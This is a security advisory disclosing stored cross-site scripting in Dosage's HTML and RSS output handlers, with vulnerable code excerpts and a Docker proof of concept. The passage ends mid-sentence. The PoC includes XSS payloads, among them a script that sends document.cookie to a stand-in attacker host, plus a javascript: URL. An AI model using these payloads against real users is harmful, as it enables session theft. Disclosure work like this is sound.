GHSA-75mw-h36v-2jv7
GHSA-75mw-h36v-2jv7 · Dosage Vulnerable to Stored Cross-Site Scripting (XSS) in HTML/RSS Output Handlers
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## Summary The HTML and RSS output handlers in `dosagelib/events.py` write user-controlled content (comic text and page URLs) directly into generated files without proper HTML escaping. When a user scrapes a malicious webcomic and opens the generated HTML/RSS file, attacker-controlled JavaScript can execute in their browser. **CWE**: [CWE-79](https://cwe.mitre.org/data/definitions/79.html) - Improper Neutralization of Input During Web Page Generation (Cross-site Scripting) --- ## Details ### Vulnerable Code Locations The vulnerability exists in `dosagelib/events.py` where untrusted content is written to HTML/RSS output without escaping: **1. RSSEventHandler (lines 116-118)** ```python # events.py:116-118 if comic.text: description += '<br/>%s' % comic.text # ← Unescaped comic.text description += '<br/><a href="%s">View Comic Online</a>' % pageUrl # ← Unescaped URL ``` **2. HtmlEventHandler (lines 232, 238)** ```python # events.py:232 self.html.write(u'<li><a href="%s">%s</a>\n' % (pageUrl, pageUrl)) # ← Unescaped URL # events.py:238 if text: self.html.write(u'<br/>%s\n' % text) # ← Unescaped text ``` ### Root Cause - `BasicScraper.fetchText()` in `scraper.py:422` calls `html.unescape()` on extracted text - The output handlers never call `html.escape()` before writing to files - No sanitization of URLs or text content occurs anywhere in the output pipeline ### Data Flow ``` Malicious webcomic page ↓ textSearch XPath extracts content (e.g., img/@title, div text) ↓ BasicScraper.fetchText() calls html.unescape() ↓ comic.text stored without sanitization ↓ HtmlEventHandler/RSSEventHandler writes to file without html.escape() ↓ Generated HTML/RSS contains executable JavaScript ``` --- ## PoC I created a proof-of-concept that demonstrates the vulnerability by simulating a malicious comic source. ### Prerequisites - Docker installed and running ### PoC Files Create these files in a `poc/` directory: **1. `poc/Dockerfile`** ```dockerfile FROM python:3.11-slim LABEL description="PoC for dosage Stored XSS vulnerability (CWE-79)" WORKDIR /app COPY . /app # Install dependencies RUN pip install --no-cache-dir --quiet imagesize lxml requests rich platformdirs # Install dosage ENV SETUPTOOLS_SCM_PRETEND_VERSION_FOR_DOSAGE=0.0.0 RUN pip install --no-cache-dir --quiet . CMD ["python", "poc/poc.py"] ``` **2. `poc/poc.py`** ```python #!/usr/bin/env python3 """ PoC: Stored XSS in dosage HTML/RSS Output Handlers Demonstrates that untrusted comic content is written to output files unescaped. """ import sys from pathlib import Path from types import SimpleNamespace from dosagelib.events import HtmlEventHandler, RSSEventHandler # XSS payloads simulating malicious webcomic content MALICIOUS_TEXT = "Funny Comic!<script>fetch('http://attacker.com/?c='+document.cookie)</script>" MALICIOUS_URL = "javascript:alert('XSS-via-URL')" def check_vulnerability(content: str, marker: str, description: str) -> bool: """Check if unescaped marker appears in content.""" if marker.lower() in content.lower(): print(f" [VULNERABLE] {description}") print(f" Found unescaped: {marker}") return True print(f" [SAFE] {description}") return False def main(): print("=" * 70) print("PoC: Stored XSS in dosage HTML/RSS Output Handlers") print("=" * 70) print() base = Path(__file__).parent / "output" base.mkdir(parents=True, exist_ok=True) # Create dummy image file img_path = base / "payload.png" img_path.write_bytes(b"\x89PNG\r\n\x1a\n") # Simulate comic with malicious content comic = SimpleNamespace( scraper=SimpleNamespace(name="MaliciousComic"), referrer=MALICIOUS_URL, text=MALICIOUS_TEXT, url="http://example.com/comic.png" ) vulnerabilities_found = 0 # Test RSS Handler print("[*] Testing RSSEventHandler...") rss_handler = RSSEventHandler(str(base), None, False) rss_handler.start() rss_handler.comicDownloaded(comic, str(img_path)) rss_handler.end() rss_path = Path(rss_handler.rssfn) rss_content = rss_path.read_text(encoding="utf-8") print(f" Output file: {rss_path}") if check_vulnerability(rss_content, "javascript:", "pageUrl in RSS href"): vulnerabilities_found += 1 # Test HTML Handler print() print("[*] Testing HtmlEventHandler...") html_handler = HtmlEventHandler(str(base), None, False) html_handler.start() html_path = Path(html_handler.html.name) html_handler.comicDownloaded(comic, str(img_path), text=MALICIOUS_TEXT) html_handler.end() html_content = html_path.read_text(encoding="utf-8") print(f" Output file: {html_path}") if check_vulnerability(html_content, "<script>", "text param in HTML"): vulnerabilities_found += 1 if check_vulnerability(html_content, "javascript:", "pageUrl in HTML link"): vulnerabilities_found += 1 # Show vulnerable content print() print("-" * 70) print("Vulnerable Content in Generated HTML:") print("-" * 70) for line in html_content.splitlines(): if "<script>" in line.lower() or "javascript:" in line.lower(): print(f" {line}") print() print("=" * 70) print(f"RESULT: {vulnerabilities_found} XSS vulnerability vectors confirmed!") print("=" * 70) return 0 if vulnerabilities_found > 0 else 1 if __name__ == "__main__": sys.exit(main()) ``` **3. `poc/run_poc.sh`** ```bash #!/usr/bin/env bash set -euo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" ROOT_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)" echo "[*] Building PoC Docker image..." docker build -t dosage-xss-poc -f "${SCRIPT_DIR}/Dockerfile" "${ROOT_DIR}" --quiet echo "[*] Running PoC..." docker run --rm dosage-xss-poc echo "[*] Cleanup: docker rmi dosage-xss-poc" ``` ### Running the PoC ```bash cd /path/to/dosage chmod +x poc/run_poc.sh ./poc/run_poc.sh ``` ### PoC Output ``` ====================================================================== PoC: Stored XSS in dosage HTML/RSS Output Handlers ====================================================================== [*] Testing RSSEventHandler... Output file: /app/poc/output/dailydose.rss [VULNERABLE] pageUrl in RSS href Found unescaped: javascript: [*] Testing HtmlEventHandler... Output file: /app/poc/output/html/comics-20251210.html [VULNERABLE] text param in HTML Found unescaped: <script> [VULNERABLE] pageUrl in HTML link Found unescaped: javascript: ---------------------------------------------------------------------- Vulnerable Content in Generated HTML: ---------------------------------------------------------------------- <li><a href="javascript:alert('XSS-via-URL')">javascript:alert('XSS-via-URL')</a> <br/>Funny Comic!<script>fetch('http://attacker.com/?c='+document.cookie)</script> ====================================================================== RESULT: 3 XSS vulnerability vectors confirmed! ====================================================================== ``` The output shows that: 1. The `javascript:` URL is written directly into `<a href>` attributes 2. The `<script>` tag from comic text appears unescaped in the HTML body --- ## Impact ### Who is affected? - Users who use `dosage --output html` or `dosage --output rss` options - Anyone who opens the generated HTML/RSS files in a browser ### Attack scenario 1. Attacker creates or compromises a webcomic site 2. Attacker injects JavaScript into image title/alt attributes: ```html <img src="comic.png" title="Funny!<script>alert(1)</script>"> ``` 3. Victim runs: `dosage MaliciousComic --output html` 4. The generated `Comics/html/comics-YYYYMMDD.html` contains the unescaped script 5. When victim opens the file, JavaScript executes ### Potential consequences - **Cookie theft** if files ar
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